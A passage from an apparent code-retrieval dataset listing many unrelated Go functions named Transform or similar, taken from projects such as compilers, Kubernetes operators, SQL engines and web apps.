*unstructured.Unstructured {\n\treturn &unstructured.Unstructured{\n\t\tObject: r.Map(),\n\t}\n}","func (app *Configurable) Transform(parameters map[string]string) interfaces.AppFunction {\n\ttransformType, ok := parameters[TransformType]\n\tif !ok {\n\t\tapp.lc.Errorf(\"Could not find '%s' parameter for Transform\", TransformType)\n\t\treturn nil\n\t}\n\n\ttransform := transforms.Conversion{}\n\n\tswitch strings.ToLower(transformType) {\n\tcase TransformXml:\n\t\treturn transform.TransformToXML\n\tcase TransformJson:\n\t\treturn transform.TransformToJSON\n\tdefault:\n\t\tapp.lc.Errorf(\n\t\t\t\"Invalid transform type '%s'. Must be '%s' or '%s'\",\n\t\t\ttransformType,\n\t\t\tTransformXml,\n\t\t\tTransformJson)\n\t\treturn nil\n\t}\n}","func (d *Day) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\n\tchild, err := d.Child.TransformUp(f)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn f(NewDay(child))\n}","func (s *StructTransformer) Transform(v interface{}) []float64 {\n\tif v == nil || s == nil {\n\t\treturn nil\n\t}\n\n\tif s.getNumFeatures() == 0 {\n\t\treturn nil\n\t}\n\n\tfeatures := make([]float64, 0, s.getNumFeatures())\n\n\tval := reflect.ValueOf(v)\n\tfor i := 0; i < val.NumField() && i < len(s.Transformers); i++ {\n\t\ttransformer := s.Transformers[i]\n\t\tif transformer == nil || reflect.ValueOf(transformer).IsNil() {\n\t\t\tcontinue\n\t\t}\n\n\t\tfield := val.Field(i)\n\t\tswitch field.Type().Kind() {\n\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\tfeatures = append(features, s.transformNumerical(transformer, float64(field.Int()))...)\n\t\tcase reflect.Float32, reflect.Float64:\n\t\t\tfeatures = append(features, s.transformNumerical(transformer, field.Float())...)\n\t\tcase reflect.String:\n\t\t\tfeatures = append(features, s.transformString(transformer, field.String())...)\n\t\tdefault:\n\t\t\tpanic(\"unsupported type in struct\")\n\t\t}\n\t}\n\n\treturn features\n}","func transformError(resourceType string, resource string, err error) error {\n\tswitch err.(type) {\n\tcase *find.NotFoundError, *find.DefaultNotFoundError:\n\t\treturn k8serrors.NewNotFound(schema.GroupResource{Group: \"vmoperator.vmware.com\", Resource: strings.ToLower(resourceType)}, resource)\n\tcase *find.MultipleFoundError, *find.DefaultMultipleFoundError:\n\t\t// Transform?\n\t\treturn err\n\tdefault:\n\t\treturn err\n\t}\n}","func transformSlice(n *ir.SliceExpr) {\n\tassert(n.Type() != nil && n.Typecheck() == 1)\n\tl := n.X\n\tif l.Type().IsArray() {\n\t\taddr := typecheck.NodAddr(n.X)\n\t\taddr.SetImplicit(true)\n\t\ttyped(types.NewPtr(n.X.Type()), addr)\n\t\tn.X = addr\n\t\tl = addr\n\t}\n\tt := l.Type()\n\tif t.IsString() {\n\t\tn.SetOp(ir.OSLICESTR)\n\t} else if t.IsPtr() && t.Elem().IsArray() {\n\t\tif n.Op().IsSlice3() {\n\t\t\tn.SetOp(ir.OSLICE3ARR)\n\t\t} else {\n\t\t\tn.SetOp(ir.OSLICEARR)\n\t\t}\n\t}\n}","func transformReturn(rs *ir.ReturnStmt) {\n\ttransformArgs(rs)\n\tnl := rs.Results\n\tif ir.HasNamedResults(ir.CurFunc) && len(nl) == 0 {\n\t\treturn\n\t}\n\n\ttypecheckaste(ir.ORETURN, nil, false, ir.CurFunc.Type().Results(), nl)\n}","func TransformDocument(in interface{}) Document {\n\tvar document Document\n\tswitch v := in.(type) {\n\tcase bson.M:\n\t\tdocument.ID = v[\"_id\"].(bson.ObjectId)\n\t\tdocument.OwnerID = v[\"owner_id\"].(bson.ObjectId)\n\t\tdocument.URL = v[\"url\"].(string)\n\t\tdocument.DocType = v[\"doc_type\"].(string)\n\t\tdocument.OwnerType = v[\"owner_type\"].(string)\n\n\tcase Document:\n\t\tdocument = v\n\t}\n\n\treturn document\n}","func (e *With32FieldsFeatureTransformer) Transform(s *With32Fields) []float64 {\n\tif s == nil || e == nil {\n\t\treturn nil\n\t}\n\tfeatures := make([]float64, e.NumFeatures())\n\te.TransformInplace(features, s)\n\treturn features\n}","func Transform(mid Middler, file string, name string, outfile string) error {\n\timg, err := loadImage(file)\n\tout, err := os.Create(outfile)\n\tdefer out.Close()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"can't open file for writing\")\n\t}\n\tmiddle, err := mid(img)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Problem with middle detection %v\", err)\n\t}\n\tdst := mirroredImage(img, middle)\n\tjpeg.Encode(out, dst, &jpeg.Options{Quality: 100})\n\treturn nil\n}","func (gatewayContext *GatewayContext) transformEvent(gatewayEvent *gateways.Event) (*cloudevents.Event, error) {\n\tevent := cloudevents.NewEvent(cloudevents.VersionV03)\n\tevent.SetID(fmt.Sprintf(\"%x\", uuid.New()))\n\tevent.SetSpecVersion(cloudevents.VersionV03)\n\tevent.SetType(string(gatewayContext.gateway.Spec.Type))\n\tevent.SetSource(gatewayContext.gateway.Name)\n\tevent.SetDataContentType(\"application/json\")\n\tevent.SetSubject(gatewayEvent.Name)\n\tevent.SetTime(time.Now())\n\tif err := event.SetData(gatewayEvent.Payload); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &event, nil\n}","func Unstructured(group, kind, version, name, namespace string, object map[string]interface{}, owner *ibmcloudv1alpha1.Nfs, client client.Client, scheme *runtime.Scheme, log logr.Logger) {\n\tres := &ResUnstructured{\n\t\tgroup: group,\n\t\tkind: kind,\n\t\tversion: version,\n\t\tnamespace: namespace,\n\t}\n\tres.Resource = New(owner, client, scheme, log)\n\tres.Object = res.newUnstructured(object)\n\n\tapiVersion, kind := GVK(res.Object, res.Scheme)\n\tres.Log = res.Log.WithValues(\"Resource.Name\", res.Object.GetName(), \"Resource.Namespace\", res.Object.GetNamespace(), \"Resource.APIVersion\", apiVersion, \"Resource.Kind\", kind)\n}","func transformCompLit(n *ir.CompLitExpr) (res ir.Node) {\n\tassert(n.Type() != nil && n.Typecheck() == 1)\n\tlno := base.Pos\n\tdefer func() {\n\t\tbase.Pos = lno\n\t}()\n\n\t// Save original node (including n.Right)\n\tn.SetOrig(ir.Copy(n))\n\n\tir.SetPos(n)\n\n\tt := n.Type()\n\n\tswitch t.Kind() {\n\tdefault:\n\t\tbase.Fatalf(\"transformCompLit %v\", t.Kind())\n\n\tcase types.TARRAY:\n\t\ttransformArrayLit(t.Elem(), t.NumElem(), n.List)\n\t\tn.SetOp(ir.OARRAYLIT)\n\n\tcase types.TSLICE:\n\t\tlength := transformArrayLit(t.Elem(), -1, n.List)\n\t\tn.SetOp(ir.OSLICELIT)\n\t\tn.Len = length\n\n\tcase types.TMAP:\n\t\tfor _, l := range n.List {\n\t\t\tir.SetPos(l)\n\t\t\tassert(l.Op() == ir.OKEY)\n\t\t\tl := l.(*ir.KeyExpr)\n\n\t\t\tr := l.Key\n\t\t\tl.Key = assignconvfn(r, t.Key())\n\n\t\t\tr = l.Value\n\t\t\tl.Value = assignconvfn(r, t.Elem())\n\t\t}\n\n\t\tn.SetOp(ir.OMAPLIT)\n\n\tcase types.TSTRUCT:\n\t\t// Need valid field offsets for Xoffset below.\n\t\ttypes.CalcSize(t)\n\n\t\tif len(n.List) != 0 && !hasKeys(n.List) {\n\t\t\t// simple list of values\n\t\t\tls := n.List\n\t\t\tfor i, n1 := range ls {\n\t\t\t\tir.SetPos(n1)\n\n\t\t\t\tf := t.Field(i)\n\t\t\t\tn1 = assignconvfn(n1, f.Type)\n\t\t\t\tls[i] = ir.NewStructKeyExpr(base.Pos, f, n1)\n\t\t\t}\n\t\t\tassert(len(ls) >= t.NumFields())\n\t\t} else {\n\t\t\t// keyed list\n\t\t\tls := n.List\n\t\t\tfor i, l := range ls {\n\t\t\t\tir.SetPos(l)\n\n\t\t\t\tkv := l.(*ir.KeyExpr)\n\t\t\t\tkey := kv.Key\n\n\t\t\t\t// Sym might have resolved to name in other top-level\n\t\t\t\t// package, because of import dot. Redirect to correct sym\n\t\t\t\t// before we do the lookup.\n\t\t\t\ts := key.Sym()\n\t\t\t\tif id, ok := key.(*ir.Ident); ok && typecheck.DotImportRefs[id] != nil {\n\t\t\t\t\ts = typecheck.Lookup(s.Name)\n\t\t\t\t}\n\t\t\t\tif types.IsExported(s.Name) && s.Pkg != types.LocalPkg {\n\t\t\t\t\t// Exported field names should always have\n\t\t\t\t\t// local pkg. We only need to do this\n\t\t\t\t\t// adjustment for generic functions that are\n\t\t\t\t\t// being transformed after being imported\n\t\t\t\t\t// from another package.\n\t\t\t\t\ts = typecheck.Lookup(s.Name)\n\t\t\t\t}\n\n\t\t\t\t// An OXDOT uses the Sym field to hold\n\t\t\t\t// the field to the right of the dot,\n\t\t\t\t// so s will be non-nil, but an OXDOT\n\t\t\t\t// is never a valid struct literal key.\n\t\t\t\tassert(!(s == nil || key.Op() == ir.OXDOT || s.IsBlank()))\n\n\t\t\t\tf := typecheck.Lookdot1(nil, s, t, t.Fields(), 0)\n\t\t\t\tl := ir.NewStructKeyExpr(l.Pos(), f, kv.Value)\n\t\t\t\tls[i] = l\n\n\t\t\t\tl.Value = assignconvfn(l.Value, f.Type)\n\t\t\t}\n\t\t}\n\n\t\tn.SetOp(ir.OSTRUCTLIT)\n\t}\n\n\treturn n\n}","func (EditCandidatePublicKeyResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.EditCandidatePublicKeyData)\n\n\treturn EditCandidatePublicKeyResource{\n\t\tPubKey: data.PubKey.String(),\n\t\tNewPubKey: data.NewPubKey.String(),\n\t}\n}","func (r *updateRequest) Transform(user *model.User) (*model.SalesOrder, []*model.SalesOrderItem) {\n\tvar disc float32\n\tvar discAmount float64\n\n\t// calculate\n\tif r.IsPercentageDiscount == int8(1) {\n\t\tdisc = r.Discount\n\t\tdiscAmount = (r.TotalPrice * float64(disc)) / float64(100)\n\t} else {\n\t\tdiscAmount = r.DiscountAmount\n\t\tif discAmount != float64(0) {\n\t\t\tdisc = float32(common.FloatPrecision((discAmount/r.TotalPrice)*float64(100), 2))\n\t\t}\n\t}\n\tcuramount := r.TotalPrice - r.DiscountAmount\n\tr.TaxAmount = (curamount * float64(r.Tax)) / float64(100)\n\tr.TotalCharge = common.FloatPrecision(curamount+r.TaxAmount+r.ShipmentCost, 0)\n\n\tso := r.SalesOrder\n\tso.RecognitionDate = r.RecognitionDate\n\tso.EtaDate = r.EtaDate\n\tso.Discount = disc\n\tso.DiscountAmount = discAmount\n\tso.Tax = r.Tax\n\tso.TaxAmount = r.TaxAmount\n\tso.ShipmentCost = r.ShipmentCost\n\tso.TotalPrice = r.TotalPrice\n\tso.TotalCharge = r.TotalCharge\n\tso.TotalCost = r.TotalCost\n\tso.IsPercentageDiscount = r.IsPercentageDiscount\n\tso.Note = r.Note\n\tso.UpdatedAt = time.Now()\n\tso.UpdatedBy = user\n\n\tvar items []*model.SalesOrderItem\n\tfor _, row := range r.SalesOrderItem {\n\t\tvar ID int64\n\t\tif row.ID != \"\" {\n\t\t\tID, _ = common.Decrypt(row.ID)\n\t\t}\n\t\tidItemVar, _ := common.Decrypt(row.ItemVariantID)\n\t\titemvar, _ := inventory.GetDetailItemVariant(\"id\", idItemVar)\n\n\t\tdiscamount := ((row.UnitPrice * float64(row.Quantity)) * float64(row.Discount)) / float64(100)\n\t\tcuramount := row.UnitPrice * float64(row.Quantity)\n\t\tsubtotal := common.FloatPrecision(curamount-discamount, 0)\n\t\trow.Subtotal = subtotal\n\n\t\tsoitem := model.SalesOrderItem{\n\t\t\tID: ID,\n\t\t\tItemVariant: itemvar,\n\t\t\tQuantity: row.Quantity,\n\t\t\tUnitPrice: row.UnitPrice,\n\t\t\tDiscount: row.Discount,\n\t\t\tSubtotal: row.Subtotal,\n\t\t\tNote: row.Note,\n\t\t}\n\t\titems = append(items, &soitem)\n\t}\n\n\treturn so, items\n}","func (m *Minute) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\n\tchild, err := m.Child.TransformUp(f)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn f(NewMinute(child))\n}","func (l BaseLink) Transform(path string, originalURL url.URL) (*url.URL, error) {\n\tdestURL := l.Target\n\tif len(path) > len(l.Path) {\n\t\tdestURL += path[len(l.Path):]\n\t}\n\treturn targetToURL(destURL, originalURL)\n}","func (t *treeSimplifier) simplifyPipeNode(node *parse.PipeNode, ref parse.Node) bool {\n\t/*\n\t look for\n\t {{\"some\" | split \"what\"}}\n\t transform into\n\t {{split \"what\" \"some\"}}\n\t*/\n\tif rearrangeCmdsWithIdentifierPrecededByCmdWithVariableNode(node) {\n\t\treturn true\n\t}\n\n\t/*\n\t look for\n\t {{up \"what\" | lower}}\n\t transform into\n\t {{$some := up \"what\"}}\n\t {{$some | lower}}\n\t*/\n\tfirstCmd, secCmd := getCmdIdentifierFollowedByCmdIdentifier(node)\n\tif firstCmd != nil && secCmd != nil {\n\t\tfirstCmdIndex := getCmdIndex(firstCmd, node)\n\t\tif firstCmdIndex > -1 {\n\t\t\tvarName := t.createVarName()\n\t\t\tvarNode := createAVariableNode(varName)\n\t\t\tif replaceCmdWithVar(node, firstCmd, varNode) == false {\n\t\t\t\terr := fmt.Errorf(\"treeSimplifier.simplifyPipeNode: failed to replace Pipe with Var in Cmd\\n%v\\n%#v\", firstCmd, firstCmd)\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tnewAction := createAVariablePipeActionFromCmd(varName, firstCmd)\n\t\t\tif insertActionBeforeRef(t.tree.Root, ref, newAction) == false {\n\t\t\t\terr := fmt.Errorf(\n\t\t\t\t\t\"treeSimplifier.simplifyPipeNode: failed to insert the new Action node\\n%v\\n%#v\\nreference node was\\n%v\\n%#v\",\n\t\t\t\t\tnewAction, newAction,\n\t\t\t\t\tnode, node)\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\treturn true\n\t\t}\n\t}\n\n\t// following transform can be executed only on\n\t// ref node like if/else/range/with\n\tisValidRef := false\n\tswitch ref.(type) {\n\tcase *parse.IfNode:\n\t\tisValidRef = true\n\tcase *parse.RangeNode:\n\t\tisValidRef = true\n\tcase *parse.WithNode:\n\t\tisValidRef = true\n\tcase *parse.TemplateNode:\n\t\tisValidRef = true\n\t}\n\tif isValidRef {\n\t\t/*\n\t\t look for\n\t\t {{if not true}}\n\t\t transform into\n\t\t {{$some := not true}}\n\t\t {{if $some}}\n\t\t*/\n\t\tif len(node.Cmds) > 0 {\n\t\t\tcmd := node.Cmds[0]\n\t\t\tif len(cmd.Args) > 0 {\n\t\t\t\tif _, ok := cmd.Args[0].(*parse.IdentifierNode); ok {\n\t\t\t\t\tvarName := t.createVarName()\n\t\t\t\t\tvarNode := createAVariableNode(varName)\n\t\t\t\t\tnewAction := createAVariablePipeAction(varName, node)\n\t\t\t\t\tnewCmd := &parse.CommandNode{}\n\t\t\t\t\tnewCmd.NodeType = parse.NodeCommand\n\t\t\t\t\tnewCmd.Args = append(newCmd.Args, varNode)\n\t\t\t\t\tnode.Cmds = append(node.Cmds[:0], newCmd)\n\t\t\t\t\tif insertActionBeforeRef(t.tree.Root, ref, newAction) == false {\n\t\t\t\t\t\terr := fmt.Errorf(\n\t\t\t\t\t\t\t\"treeSimplifier.simplifyPipeNode: failed to insert the new Action node\\n%v\\n%#v\\nreference node was\\n%v\\n%#v\",\n\t\t\t\t\t\t\tnewAction, newAction,\n\t\t\t\t\t\t\tref, ref)\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t/*\n\t\t look for\n\t\t {{if eq (up \"what\" | lower) \"what\"}}\n\t\t transform into\n\t\t {{$some := eq (up \"what\" | lower) \"what\"}}\n\t\t {{if $some}}\n\t\t*/\n\t\tif len(node.Cmds) > 0 {\n\t\t\tcmd := node.Cmds[0]\n\t\t\t_, pipeToMove := getPipeFollowingIdentifier(cmd)\n\t\t\tif pipeToMove != nil {\n\t\t\t\tvarName := t.createVarName()\n\t\t\t\tvarNode := createAVariableNode(varName)\n\t\t\t\tif replacePipeWithVar(cmd, pipeToMove, varNode) == false {\n\t\t\t\t\terr := fmt.Errorf(\"treeSimplifier.simplifyPipeNode: failed to replace Pipe with Var in Cmd\\n%v\\n%#v\", cmd, cmd)\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tnewAction := createAVariablePipeAction(varName, pipeToMove)\n\t\t\t\tif insertActionBeforeRef(t.tree.Root, ref, newAction) == false {\n\t\t\t\t\terr := fmt.Errorf(\n\t\t\t\t\t\t\"treeSimplifier.simplifyPipeNode: failed to insert the new Action node\\n%v\\n%#v\\nreference node was\\n%v\\n%#v\",\n\t\t\t\t\t\tnewAction, newAction,\n\t\t\t\t\t\tref, ref)\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\t/*\n\t\t\t look for\n\t\t\t {{(up \"what\")}}\n\t\t\t transform into\n\t\t\t {{up \"what\"}}\n\t\t (ie: removes parenthesis)\n\t*/\n\tif len(node.Cmds) == 1 && len(node.Cmds[0].Args) == 1 {\n\t\tif p, ok := node.Cmds[0].Args[0].(*parse.PipeNode); ok {\n\t\t\tnode.Cmds = p.Cmds\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}","func (r *RenameFamilies) Transform(mfs []*dto.MetricFamily) []*dto.MetricFamily {\n\trenamed := mfs[:0]\n\tfor _, mf := range mfs {\n\t\tif to, ok := r.FromTo[mf.GetName()]; ok {\n\t\t\tmf.Name = &to\n\t\t}\n\t\trenamed = append(renamed, mf)\n\n\t}\n\tsort.Sort(familySorter(renamed))\n\treturn renamed\n}","func processEntry(theReader *dwarf.Reader, depth int, theEntry *dwarf.Entry) {\n\n\n\n\t// Process the entry\n\tswitch theEntry.Tag {\n\t\tcase dwarf.TagCompileUnit:\tprocessCompileUnit(theReader, depth, theEntry);\n\t\tcase dwarf.TagSubprogram:\tprocessSubprogram( theReader, depth, theEntry);\n\t\tdefault:\n\t\t\tif (theEntry.Children) {\n\t\t\t\tprocessChildren(theReader, depth+1, true);\n\t\t\t}\n\t\t}\n}","func (e Entry) flatten(m map[string]interface{}) {\n\tm[\"message\"] = e.Message\n\tm[\"severity\"] = e.Severity\n\tif e.Trace != \"\" {\n\t\tm[\"logging.googleapis.com/trace\"] = e.Trace\n\t}\n\tif e.Component != \"\" {\n\t\tm[\"component\"] = e.Component\n\t}\n\tif e.Fields != nil {\n\t\tfor k, v := range e.Fields {\n\t\t\tm[k] = v\n\t\t}\n\t}\n}","func TransformExtractedPullRequestData(w http.ResponseWriter, _ *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tprTransformer := di.GetPullRequestTransformer()\n\n\t_, _ = prTransformer.TransformRecords()\n\n\tdata, err := json.Marshal(helpers.SuccessResponse{\n\t\tMessage: \"success\",\n\t})\n\tif err != nil {\n\t\tlog.Println(err)\n\t\thelpers.GetError(err, w)\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusOK)\n\t_, _ = w.Write(data)\n}","func setupTransformableItems(c *cli.Context,\n\tctxOpts *terrahelp.TransformOpts,\n\tnoBackup bool, bkpExt string) {\n\tfiles := c.StringSlice(\"file\")\n\n\tif files == nil || len(files) == 0 {\n\t\tctxOpts.TransformItems = []terrahelp.Transformable{terrahelp.NewStdStreamTransformable()}\n\t\treturn\n\t}\n\tctxOpts.TransformItems = []terrahelp.Transformable{}\n\tfor _, f := range files {\n\t\tctxOpts.TransformItems = append(ctxOpts.TransformItems,\n\t\t\tterrahelp.NewFileTransformable(f, !noBackup, bkpExt))\n\t}\n}","func (m *Month) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\n\tchild, err := m.Child.TransformUp(f)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn f(NewMonth(child))\n}","func applyTransform(str string, transform sf) (out string) {\n\tout = \"\"\n\n\tfor idx, line := range strings.Split(str, \"\\n\") {\n\t\tout += transform(idx, line)\n\t}\n\n\treturn\n}"],"string":"[\n \"func (p *RestructureOperator) Process(ctx context.Context, entry *entry.Entry) error {\\n\\treturn p.ProcessWith(ctx, entry, p.Transform)\\n}\",\n \"func (a anchoreClient) transform(fromType interface{}, toType interface{}) error {\\n\\tif err := mapstructure.Decode(fromType, toType); err != nil {\\n\\t\\treturn errors.WrapIf(err, \\\"failed to unmarshal to 'toType' type\\\")\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func transform(c *gin.Context, data interface{}) interface{} {\\n\\tswitch reflect.TypeOf(data) {\\n\\t// Multiple\\n\\tcase reflect.TypeOf([]*models.Event{}):\\n\\t\\treturn TransformEvents(c, data.([]*models.Event))\\n\\tcase reflect.TypeOf([]*models.Ticket{}):\\n\\t\\treturn TransformTickets(c, data.([]*models.Ticket))\\n\\tcase reflect.TypeOf([]*models.Question{}):\\n\\t\\treturn TransformQuestions(c, data.([]*models.Question))\\n\\tcase reflect.TypeOf([]*models.Attribute{}):\\n\\t\\treturn TransformAttributes(c, data.([]*models.Attribute))\\n\\n\\t\\t// Single\\n\\tcase reflect.TypeOf(&models.Event{}):\\n\\t\\treturn TransformEvent(c, data.(*models.Event))\\n\\tcase reflect.TypeOf(&models.Ticket{}):\\n\\t\\treturn TransformTicket(c, data.(*models.Ticket))\\n\\tcase reflect.TypeOf(&models.Question{}):\\n\\t\\treturn TransformQuestion(c, data.(*models.Question))\\n\\t}\\n\\n\\treturn data\\n}\",\n \"func pipelineTransform(arg *interface{}, container **[]interface{}) {\\n\\tswitch value := (*arg).(type) {\\n\\tcase []interface{}:\\n\\t\\t*container = &value\\n\\tcase interface{}:\\n\\t\\t*container = &[]interface{}{value}\\n\\tdefault:\\n\\t\\t**container = nil\\n\\t}\\n}\",\n \"func (s *StyleBuilder) Transform(transform func(StyleEntry) StyleEntry) *StyleBuilder {\\n\\ttypes := make(map[TokenType]struct{})\\n\\tfor tt := range s.entries {\\n\\t\\ttypes[tt] = struct{}{}\\n\\t}\\n\\tif s.parent != nil {\\n\\t\\tfor _, tt := range s.parent.Types() {\\n\\t\\t\\ttypes[tt] = struct{}{}\\n\\t\\t}\\n\\t}\\n\\tfor tt := range types {\\n\\t\\ts.AddEntry(tt, transform(s.Get(tt)))\\n\\t}\\n\\treturn s\\n}\",\n \"func (h *CustomerHandler) Transform(id string, v interface{}) (interface{}, error) {\\n\\t// // We could convert the customer to a type with a different JSON marshaler,\\n\\t// // or perhaps return a res.ErrNotFound if a deleted flag is set.\\n\\t// return CustomerWithDifferentJSONMarshaler(v.(Customer)), nil\\n\\treturn v, nil\\n}\",\n \"func (c *Patch) applyTransforms(input interface{}) (interface{}, error) {\\n\\tvar err error\\n\\tfor i, t := range c.Transforms {\\n\\t\\tif input, err = t.Transform(input); err != nil {\\n\\t\\t\\treturn nil, errors.Wrapf(err, errFmtTransformAtIndex, i)\\n\\t\\t}\\n\\t}\\n\\treturn input, nil\\n}\",\n \"func (g *GiteaASTTransformer) Transform(node *ast.Document, reader text.Reader, pc parser.Context) {\\n\\t_ = ast.Walk(node, func(n ast.Node, entering bool) (ast.WalkStatus, error) {\\n\\t\\tif !entering {\\n\\t\\t\\treturn ast.WalkContinue, nil\\n\\t\\t}\\n\\n\\t\\tswitch v := n.(type) {\\n\\t\\tcase *ast.Image:\\n\\t\\t\\t// Images need two things:\\n\\t\\t\\t//\\n\\t\\t\\t// 1. Their src needs to munged to be a real value\\n\\t\\t\\t// 2. If they're not wrapped with a link they need a link wrapper\\n\\n\\t\\t\\t// Check if the destination is a real link\\n\\t\\t\\tlink := v.Destination\\n\\t\\t\\tif len(link) > 0 && !markup.IsLink(link) {\\n\\t\\t\\t\\tprefix := pc.Get(urlPrefixKey).(string)\\n\\t\\t\\t\\tif pc.Get(isWikiKey).(bool) {\\n\\t\\t\\t\\t\\tprefix = giteautil.URLJoin(prefix, \\\"wiki\\\", \\\"raw\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tprefix = strings.Replace(prefix, \\\"/src/\\\", \\\"/media/\\\", 1)\\n\\n\\t\\t\\t\\tlnk := string(link)\\n\\t\\t\\t\\tlnk = giteautil.URLJoin(prefix, lnk)\\n\\t\\t\\t\\tlnk = strings.Replace(lnk, \\\" \\\", \\\"+\\\", -1)\\n\\t\\t\\t\\tlink = []byte(lnk)\\n\\t\\t\\t}\\n\\t\\t\\tv.Destination = link\\n\\n\\t\\t\\tparent := n.Parent()\\n\\t\\t\\t// Create a link around image only if parent is not already a link\\n\\t\\t\\tif _, ok := parent.(*ast.Link); !ok && parent != nil {\\n\\t\\t\\t\\twrap := ast.NewLink()\\n\\t\\t\\t\\twrap.Destination = link\\n\\t\\t\\t\\twrap.Title = v.Title\\n\\t\\t\\t\\tparent.ReplaceChild(parent, n, wrap)\\n\\t\\t\\t\\twrap.AppendChild(wrap, n)\\n\\t\\t\\t}\\n\\t\\tcase *ast.Link:\\n\\t\\t\\t// Links need their href to munged to be a real value\\n\\t\\t\\tlink := v.Destination\\n\\t\\t\\tif len(link) > 0 && !markup.IsLink(link) &&\\n\\t\\t\\t\\tlink[0] != '#' && !bytes.HasPrefix(link, byteMailto) {\\n\\t\\t\\t\\t// special case: this is not a link, a hash link or a mailto:, so it's a\\n\\t\\t\\t\\t// relative URL\\n\\t\\t\\t\\tlnk := string(link)\\n\\t\\t\\t\\tif pc.Get(isWikiKey).(bool) {\\n\\t\\t\\t\\t\\tlnk = giteautil.URLJoin(\\\"wiki\\\", lnk)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tlink = []byte(giteautil.URLJoin(pc.Get(urlPrefixKey).(string), lnk))\\n\\t\\t\\t}\\n\\t\\t\\tif len(link) > 0 && link[0] == '#' {\\n\\t\\t\\t\\tlink = []byte(\\\"#user-content-\\\" + string(link)[1:])\\n\\t\\t\\t}\\n\\t\\t\\tv.Destination = link\\n\\t\\t}\\n\\t\\treturn ast.WalkContinue, nil\\n\\t})\\n}\",\n \"func Transform(m string, d R) string {\\n\\tcleanLines := regexp.MustCompile(\\\"[\\\\\\\\n\\\\\\\\r\\\\\\\\t]+\\\")\\n\\t//KLUDGE: Salsa wants to see supporter.supporter_KEY/supporter.Email\\n\\t// in the conditions and included fields. However, the data is stored\\n\\t// simply as \\\"supporter_KEY\\\" or \\\"Email\\\"...\\n\\ti := strings.Index(m, \\\".\\\")\\n\\tif i != -1 {\\n\\t\\tm = strings.Split(m, \\\".\\\")[1]\\n\\t}\\n\\ts, ok := d[m]\\n\\tif !ok {\\n\\t\\ts = \\\"\\\"\\n\\t}\\n\\t//Transform fields as needed. This includes making pretty dates,\\n\\t//setting the Engage transaction type and putting Engage text into\\n\\t//Receive_Email.\\n\\tswitch m {\\n\\tcase \\\"Contact_Date\\\":\\n\\t\\ts = godig.EngageDate(s)\\n\\tcase \\\"Contact_Due_Date\\\":\\n\\t\\ts = godig.EngageDate(s)\\n\\tcase \\\"Date_Created\\\":\\n\\t\\ts = godig.EngageDate(s)\\n\\tcase \\\"Email\\\":\\n\\t\\ts = strings.TrimSpace(strings.ToLower(s))\\n\\tcase \\\"End\\\":\\n\\t\\ts = godig.EngageDate(s)\\n\\tcase \\\"First_Email_Time\\\":\\n\\t\\ts = godig.EngageDate(s)\\n\\tcase \\\"last_click\\\":\\n\\t\\ts = godig.EngageDate(s)\\n\\tcase \\\"Last_Email_Time\\\":\\n\\t\\ts = godig.EngageDate(s)\\n\\tcase \\\"Last_Modified\\\":\\n\\t\\ts = godig.EngageDate(s)\\n\\tcase \\\"last_open\\\":\\n\\t\\ts = godig.EngageDate(s)\\n\\tcase \\\"Receive_Email\\\":\\n\\t\\tt := \\\"Unsubscribed\\\"\\n\\t\\tx, err := strconv.ParseInt(s, 10, 32)\\n\\t\\tif err == nil && x > 0 {\\n\\t\\t\\tt = \\\"Subscribed\\\"\\n\\t\\t}\\n\\t\\ts = t\\n\\tcase \\\"Start\\\":\\n\\t\\ts = godig.EngageDate(s)\\n\\tcase \\\"State\\\":\\n\\t\\ts = strings.ToUpper(s)\\n\\tcase \\\"Transaction_Date\\\":\\n\\t\\ts = godig.EngageDate(s)\\n\\tcase \\\"Transaction_Type\\\":\\n\\t\\tif s != \\\"Recurring\\\" {\\n\\t\\t\\ts = \\\"OneTime\\\"\\n\\t\\t}\\n\\t}\\n\\t// Convert tabs to spaces. Remove leading/trailing spaces.\\n\\t// Remove any quotation marks.\\n\\t// Append the cleaned-up value to the output.\\n\\ts = strings.Replace(s, \\\"\\\\\\\"\\\", \\\"\\\", -1)\\n\\ts = cleanLines.ReplaceAllString(s, \\\" \\\")\\n\\ts = strings.TrimSpace(s)\\n\\treturn s\\n}\",\n \"func (wc *watchChan) transform(e *event) (res *watch.Event) {\\n\\tcurObj, oldObj, err := wc.prepareObjs(e)\\n\\tif err != nil {\\n\\t\\tlogrus.Errorf(\\\"failed to prepare current and previous objects: %v\\\", err)\\n\\t\\twc.sendError(err)\\n\\t\\treturn nil\\n\\t}\\n\\tswitch {\\n\\tcase e.isProgressNotify:\\n\\t\\tobj := wc.watcher.newFunc()\\n\\t\\t// todo: update object version\\n\\t\\tres = &watch.Event{\\n\\t\\t\\tType: watch.Bookmark,\\n\\t\\t\\tObject: obj,\\n\\t\\t}\\n\\tcase e.isDeleted:\\n\\t\\tres = &watch.Event{\\n\\t\\t\\tType: watch.Deleted,\\n\\t\\t\\tObject: oldObj,\\n\\t\\t}\\n\\tcase e.isCreated:\\n\\t\\tres = &watch.Event{\\n\\t\\t\\tType: watch.Added,\\n\\t\\t\\tObject: 